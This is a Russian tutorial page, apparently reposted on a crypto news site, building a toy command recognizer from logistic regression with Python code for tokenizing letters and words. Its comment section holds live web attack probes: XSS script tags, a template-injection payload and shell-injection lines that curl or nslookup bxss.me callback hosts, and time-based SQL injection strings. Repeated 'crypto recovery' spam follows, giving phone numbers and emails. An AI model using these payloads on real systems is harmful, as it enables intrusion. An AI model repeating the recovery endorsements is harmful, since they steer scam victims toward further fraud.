Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9505 / Markets: 114717

Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Идеи о системе ИИ: Система команд. Часть 1

Всем привет. Меня зовут Алмаз Хуснутдинов. Я делаю материалы, связанные с созданием ИИ. В этой статье я начну рассказывать про идею о некой системе команд, в основе которой лежит идея о детерминированности работы любой системы.

Содержание: Описание задачи из этой статьи, множественная логистическая регрессия, токенизация букв и слов, классификация слов, классификация команд, распознавание и выполнение команд.

Описание задачи

Описание задачи, которую я рассматриваю в этой статье.

Нужно сделать программу, которая сможет выполнять какие-то действия на основе входных данных. В качестве входных данных будем рассматривать текст. В качестве действий будем рассматривать выполнение ветвлений (вызов функции), которые будут выполняться на основе прогноза модели, коротая обрабатывает входной текст.

Программа может получать входные данные через строку ввода. Затем она должна обработать текст и распознать команду, которую ввел пользователь. Данные могут быть как-то искажены, могут не представляться в том, виде, в котором система обучалась их получать.

Для того, чтобы правильно распознавать команды, необходимо как-то их аппроксимировать, кроме того, также необходимо аппроксимировать сами слова. Для этого будет использоваться множественная логистическая регрессия. Под аппроксимацией я понимаю именно то, что это означает, либо обобщение, как это обычно называют.

Схема системы команд

После того, как модель обработает текст она выводит список степени соответствия входных данных каждому возможному действию. Происходит выделение наибольшего из возможных вариантов ответа. Далее на основе этого варианта выполняется соответствующее ветвление и вызов соответствующей функции.

Множественная логистическая регрессия

Я использую логистическую регрессию чисто интуитивно, этот выбор ничем не обоснован.

У меня есть туториал по логистической регрессии, здесь я расскажу только про то, как сделать множественную. Она представляет собой список из обычных моделей логистической регрессии, только каждая из них обучается классифицировать какой-то отдельный класс, а все остальные не классифицировать.

На вход этой модели подается список признаков, которые описывают объект. Каждый признак представляет собой число — количество данного признака в объекте, также признак может быть представлен в бинарном виде — присутствует или отсутствует, но это зависит от конкретной задачи.

На выходе модель должна выводить вероятность того, что данный на вход объект принадлежит к определенному классу. Каждая отдельная модель логистической регрессии делает прогноз того, что объект принадлежит к классу, который она обучена распознавать.

Код класса.

class MultyRegression:
    def __init__(self, in_features, out_features):
        self.logr_list = [LogisticRegression(in_features) for _ in range(out_features)]


    def forward(self, input_features):
        return [logr.forward(input_features) for logr in self.logr_list]


    def fit(self, inputs, targets, epochs=100, lr=0.1):
        for epoch in range(epochs):
            for i in range(len(inputs)):
                outputs = self.forward(inputs[i])

                for j, logr in enumerate(self.logr_list):
                    logr.train(inputs[i], outputs[j], targets[j][i], len(inputs), lr)

В метод init нужно передать число входных и выходных признаков. Внутри создается список с моделями логистической регрессии. Каждая из них создается с одинаковым числом входных признаков. Число моделей равно числу выходных признаков (классов).

В методе forward создается список из ответов каждой модели. Каждой модели на вход передается один и тот же входной вектор.

В метод fit передается список входных векторов и целевых. В каждой итерации обучения нужно вычислить ответ — список ответов от всех моделей. После этого нужно вызвать у каждой модели метод train. В качестве целевого значения передается число, то есть единица или ноль, которое каждая модель должна выводить на данный inputs[i].

Далее пример использования.

inputs = [[0, 1], [0, 0], [0, 0], [0, 0], [1, 0], [1, 1]]  # input data
targets = [[1, 0], [0, 1], [0, 1], [0, 1], [1, 0], [1, 0]]  # target data
targets = transpose_matrix(targets)

model = MultyRegression(2, 2)
model.fit(inputs, targets, epochs=100, lr=0.8)

for i, inp in enumerate(inputs):
    print(model.forward(inp), targets[0][i], targets[1][i])

Это набор данных для задачи «логическое или». На входе два числа, на выходе два класса (0 или 1). Матрицу целевых векторов нужно транспонировать, это из-за особенности реализации — в методе fit в том месте, где вызывается метод train для каждой модели.

Токенизация букв и слов

Для того, чтобы работать с буквами и словами, нужно их представлять в виде векторов признаков. Самый базовый метод сделать это называется «one hot encoding». Вектор представляется в виде нулей и одной единицы в том элементе, который соответствует букве или слову. Так обычно делается для обработки последовательностей букв или слов.

В этом примере будем использовать способ под названием «мешок слов». Токены кодируются так же, только все векторы одного слова или предложения суммируются. То есть слово или предложение представляется в виде одного вектора из нулей, на местах определенных элементов будут числа, которые обозначают количество этой буквы или этого слова в последовательности. Например, последовательность «ппрривет», в ней 2 буквы (токена) «п», 1 буква (токен) «и» и так далее, остальные токены не встречаются в этой последовательности, поэтому на их местах стоят нули.

В векторе указывается число встречаемости каждого токена в данной последовательности

Слова представляются аналогично буквам, только их намного больше, поэтому их представляют в виде сжатых векторов признаков (embeddings), но в этом примере без ембедингов. Я не буду учитывать знаки препинания, если их учитывать, то возможно лучше будет рассматривать их как слова, а не как символы (буквы).

Для токенизации создадим отдельный класс, чтобы делегировать на него всю неудобную работу.

class Tokenizer:
    def __init__(self, token_list):
        self.token_to_idx = {token: i for i, token in enumerate(token_list)}
        self.idx_to_token = {i: token for i, token in enumerate(token_list)}
        self.tokens_num = len(token_list)

В метод init нужно передать список всех уникальных токенов, то есть букв или слов. В нем создаются 2 словаря, которые создают соответствие между индексом токена и его значением, чтобы можно было легко преобразовать токен в индекс и наоборот.

Метод token_to_ohe представляет токен в виде вектора из нулей и одной единицы на месте элемента, который соответствует индексу токена. Таким образом создаем целевой вектор для слова (или буквы), нужно просто указать 1 в соответствующем элементе выходного вектора в индексе данного слова (буквы). Метод vecto_to_token делает обратную операцию.

def token_to_ohe(self, token):
    vector = [0 for _ in range(self.tokens_num)]

    idx = self.token_to_idx[token]
    vector[idx] = 1

    return vector
def vector_to_token(self, vector):
    idx = numpy.argmax(vector)
    token = self.idx_to_token[idx]

    return token

Метод sequence_to_vector представляет последовательность токенов в виде одного вектора «мешок слов». Таким образом можно создавать вектор представления слова. Создаем вектор из нулей и для каждой буквы (или слова) прибавляем 1 в соответствующем элементе вектора по индексу буквы.

def sequence_to_vector(self, sequence):
    vector = [0 for _ in range(self.tokens_num)]

    for item in sequence:
        idx = self.token_to_idx[item]
        vector[idx] += 1

    return vector

Этот класс можно использовать для букв и для слов.

Распознавание слов

На вход могут подаваться искаженные данные, то есть слова с опечатками. На основе этой логистической регрессии можно распознавать слова, если они введены не правильно. Если какие-то слова классифицированы не правильно, то сама команда может быть распознана не правильно (это нужно учитывать, в этом примере я не сделал эту проверку).

Перед тем, как распознавать команду из слов, нужно распознать сами слова. Каждое слово состоит из нескольких букв, буквы рассматриваем как признаки объектов (слов). Всего будет 33 буквы, значит признаков тоже 33, дополнительно можно использовать другие символы, такие как знаки препинания.

На вход модели для распознавания слов будет подаваться вектор, который содержит информацию о введенном слове. Каждая буква имеет свой порядковый номер (индекс) в списке всех признаков. Нужно создать вектор из нулей с числом элементов 33. Для каждой буквы в слове нужно увеличить соответствующий элемент в этом векторе на 1. То есть в векторе указывается количество каждой буквы в слове.

Рассмотрим модель для распознавания слов. Ей нужно передать все буквы и уникальные слова в наборе данных. Для букв и слов создаем токенайзеры, они отвечают за представление букв и слов. Создаем модель множественной логистической регрессии. Обучаться она будет отдельно.

class WordModel:
    def __init__(self, letters, unique_words):
        self.letter_tokenizer = Tokenizer(letters)
        self.words_tokenizer = Tokenizer(unique_words)
        self.model = MultyRegression(len(letters), len(unique_words))


    def fit(self, inputs, targets, epochs=100, lr=0.1):
        self.model.fit(inputs, targets, epochs, lr)


    def get_input(self, word):
        return self.letter_tokenizer.sequence_to_vector(word)

    def get_target(self, word):
        return self.words_tokenizer.token_to_ohe(word)


    def forward(self, inp):
        return self.model.forward(inp)

Метод get_input преобразует строку в входной вектор признаков. Метод get_target преобразует слово в целевой вектор признаков. Эти методы обеспечивают небольшой функционал, с помощью которого можно подготавливать слова к тому, чтобы обработать их моделью.

Функция, чтобы преобразовывать обучающие данные. На вход передается список слов и список меток. Список целевых векторов нужно транспонировать, так как это особенность реализации множественной логистической регрессии.

def make_words_data(word_model, input_words, target_words):
    inputs = [word_model.get_input(word) for word in input_words]
    targets = [word_model.get_target(word) for word in target_words]
    targets = transpose_matrix(targets)

    return inputs, targets

Функция для проверки вывода модели после обучения. Выводится слово, которое подается на вход, выход модели и целевой вектор (целевые векторы нужно сначала транспонировать обратно, чтобы вывести их корректно).

def print_output(model, items_list, inputs, targets):
    print("=========================")
    targets = transpose_matrix(targets)

    for i, inp in enumerate(inputs):
        print(items_list[i], model.forward(inp), targets[i])

Создаем список всех символов. Потом нужно сделать список всех слов, например, загрузить их из файла со словами, для простоты я просто сделал инициализацию прямо в файле. Также необходимо указать метки для каждого слова. Потом создаем список уникальных слов и их число. Так же делаем тестовые данные.

letters = "абвгдеёжзийклмнопрстуфхцчщшъыьэюя"
words_list = ["привет", "пока", "покаа", "как", "каак", "дела", "сделай"]
target_words = ["привет", "пока", "пока", "как", "как", "дела", "сделай"]

test_words = ["првт", "пка", "поа"]
test_target_words = ["привет", "пока", "пока"]
unique_words = list(set(target_words))

Теперь можно создать обучающий и тестовый наборы данных, обучить модель и проверить ее.

inputs, targets = make_words_data(word_model, words_list, target_words)
test_inputs, test_targets = make_words_data(word_model, test_words, test_target_words)

word_model = WordModel(letters, unique_words)
word_model.fit(inputs, targets, epochs=100, lr=0.8)

print_output(word_model, words_list, inputs, targets)
print_output(word_model, test_words, test_inputs, test_targets)

output:
=========================
привет [0.005118926577732819, 0.9914886883246045, 0.0024402194981650084,
0.00696090047348459, 0.0012475341272907671] [0, 1, 0, 0, 0]
…
сделай [0.009077970566943741, 0.010123286193314486, 0.8890793203926629,
0.10124257506319338, 0.00636310358780177] [0, 0, 1, 0, 0]
=========================
првт [0.07809694837775111, 0.9703325366717745, 0.01052546174740245,
0.015548304709811485, 0.005337346636761862] [0, 1, 0, 0, 0]
…
поа [0.9782841249308825, 0.10765944142494452, 0.020116303139164023,
0.037643814697091084, 0.002395138327556411] [1, 0, 0, 0, 0]

Набор данных выглядит примерно так. Сначала выводится список целевых векторов, потом список входных векторов.

print(targets)
print(inputs)

output:
[[0, 0, 0, 1, 1, 0, 0, 0, 0],
…
[0, 0, 0, 0, 0, 0, 0, 0, 1]]
[[0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
…
[1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]

В целевых векторах каждая единица обозначает нужно ли распознать данное слово или не нужно для каждой отдельной логистической регрессии. Матрица целевых векторов транспонирована, поэтому тут каждый вектор представлен для каждой отдельной модели, то есть первый вектор для первой модели, последний — для последней. Всего 9 примеров, для каждого из 9 примеров каждая модель должна распознать как 0 или как 1. Всего тут выведено 5 целевых векторов, так как всего 5 слов, и всего 5 моделей единичных регрессий.

Количество входных векторов тут выведено 9 (число элементов в каждом составляет 33). Во входных векторах представлено число каждой буквы в слове. Например, в первом векторе отображена единица в позиции буквы «в», потом «е» и так далее.

Теперь можно обработать вектор слова моделью распознавания слов и получить ответ модели. Метод predict получает на вход слово, обрабатывает его моделью и выводит распознанное слово. На выходе класс распознанного слова. Также можно посмотреть и вероятность, она в переменной out.

def predict(self, word):
    inp = self.get_input(word)
    out = self.forward(inp)

    word = self.words_tokenizer.vector_to_token(out)
    return word

print(word_model.predict("прввт"))

output:
привет

Можно оценивать влияние каждой буквы в слове на то, как будет распознано слово. Это можно узнать посмотрев на веса после обучения. Например, слова "пка" и "поа" распознаются по-разному, первое распознается на 0.46, а второе на 0.98 как слово «пока». Но это зависит от обучающих данных.

Распознавание команд

Далее делаем то же самое для распознавания последовательности слов. Теперь вместо букв будут слова. Соответственно, нужно сделать список уникальных слов, для того, чтобы представлять каждую команду в виде вектора. Каждое слово в команде рассматриваем как признак, также учитываем количество одинаковых слов, как и букв («мешок слов»).

Команды представлены в виде словаря, ключ словаря — команда, значение — метка команды. Также добавляем новые слова и указываем их метки.

commands = {
    "привет": "привет",
    "как дела": "как дела",
    "пока": "отключение",
    "отключить": "отключение",
    "выйти": "отключение",
    "изменить переменную": "изменить переменную"
}

words_list += ["отключить", "выйти", "изменить", "переменную"]
target_words += ["отключить", "выйти", "изменить", "переменная"]

Класс для распознавания команд сделан немного по-другому. В нем для токенизации слов используется модель для распознавания слов, они одновременной распознаются и токенизируются. В метод init передается список уникальных меток команд и модель для распознавания слов. Токенизатор слов берем из модели для распознавания слов. Для токенизации имен команд делаем отдельный токенизатор.

class CommandModel:
    def __init__(self, unique_commands_names, words_recognizer):
        self.words_recognizer = words_recognizer
        self.words_tokenizer = words_recognizer.words_tokenizer

        unique_words_num = words_recognizer.words_tokenizer.tokens_num

        self.command_name_tokenizer = Tokenizer(unique_commands_names)
        self.model = MultyRegression(unique_words_num, len(unique_commands_names))

В методе get_input происходит преобразование строки, в которой записана команда. Сначала команда разбивается на слова, потом каждое слово классифицируется моделью для распознавания слов. Потом токенизатор команд преобразует последовательность слов в вектор представления команды, который потом передается на вход модели для распознавания команд.

def get_input(self, input_command):
    command_sequence = [self.words_recognizer.predict(word) for word in input_command.split()]
    return self.words_tokenizer.sequence_to_vector(command_sequence)

Остальные методы работают аналогично как у класса WordModel.

Создание набора данных и обучение модели распознавания команд.

unique_words = list(set(target_words))
unique_commands_names = list(set(list(commands.values())))

input_commands = list(commands.keys())
target_commands = list(commands.values())

word_model = WordModel(letters, unique_words)
word_inputs, word_targets = make_words_data(word_model, words_list, target_words)
word_model.fit(word_inputs, word_targets)

command_model = CommandModel(unique_commands_names, word_model)
command_inputs, command_targets = make_commands_data(command_model, input_commands, target_commands)
command_model.fit(command_inputs, command_targets, epochs=100, lr=0.9)

Для работы command_model нужна модель word_model, поэтому сначала нужно создать и обучить ее.

Проверяем работу модели, выводим как модель распознает каждый пример из обучающих данных. Выводим ответ на искаженную команду «какк дделла», модель ее распознала правильно.

print_output(command_model, input_commands, command_inputs, command_targets)

input_command = "какк дделла"
print(command_model.predict(input_command))

output:
=========================
привет [0.07785547864835976, 0.014539640208980364, 0.8951833713017856, 0.028339080113225123] [0, 0, 1, 0]
...
изменить переменную [0.03903072069752127, 0.011182745156889445, 0.01253249822182718, 0.9440049246646178] [0, 0, 0, 1]
как дела

Основная программа

Теперь сделаем основную программу, в которой будет использоваться модель для распознавания команд. Я сделал отдельный метод, который заранее обучает модели и возвращает их, их можно легко получить в другом файле.

word_model, command_model = get_models()

Основной функционал программы выглядит так. Словарь, в котором хранятся некоторые переменные. Функции, которые сопоставляются с командами. И словарь с командами, каждое название команды сопоставляется с ссылкой на функцию.

variables = {"is_run": True}

def bye():
    variables["is_run"] = False

actions = {"отключение": bye}

Основной цикл программы работает, пока не будет изменена переменная is_run. Сначала нужно ввести команду, потом передать введенную строку в модель для распознавания команд, она возвращает метку распознанной команды. Если такая метка есть в ключах словаря actions, то происходит вызов соответствующей функции по ссылке, которая хранится в значении ключа.

while variables["is_run"]:
    input_command = input("enter a command: ")

    command_name = command_model.predict(input_command)

    print(command_name)

    if command_name in actions:
        actions[command_name]()

Вводим команду «ппокка», она распознается как команда «отключение». Далее происходит вызов функции bye, в ней изменяется переменная is_run и цикл while перестает работать.

output:
enter a command: ппокка
отключение

Заключение

В качестве упражнения можно сделать команду по изменению любой переменной и по добавлению новой переменной.

В этом примере я встроил модель для распознавания слов в модель для распознавания команд. Лучше так не делать. Нужно вынести логику распознавания слов отдельно от логики распознавания команд. Но я так сделал для упрощения этого примера, если их отделять, то нужно будет написать больше кода для преобразования обучающих данных для модели команд.

В этой статье я лишь показал простой пример того, как можно использовать методы машинного обучения для создания простой программы. В следующих статьях на эту тему я расскажу про то, как можно создавать знания в системе команд динамически.

Как-то развивать эту идею с использованием моделей машинного обучения я не буду. Так как я исследую возможность создания динамической системы, а не статической, как это происходит традиционно. Логистическая регрессия является статической моделью, то есть ее невозможно дообучить на новых данных, если это сделать, то она перестанет нормально распознавать то, на чем она уже была обучена. Ее можно обучить заново, но я рассматриваю другую идею создания ИИ, которая связана с динамическим созданием знаний в модели, например, импульсные нейроны. Поэтому я буду развивать идею в сторону динамического создания знаний.

Почему я рассматриваю динамическое создание знаний. Я думаю, что это одно из важных свойств, которым должна обладать система, которая обладает интеллектом. С этим свойством знаком каждый, так как каждый человек приобретает знания динамически. Кроме того, сам процесс развития системы предполагает то, что система изменяется со временем.

Подписывайтесь на мой ТГК, чтобы не пропустить мои новые статьи по машинному обучению и идеи о создании цифрового интеллекта.

Папка с кодом из статьи на ГитХабе.

Источник

Теги

Категория

Новости

Дата

26 янв. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
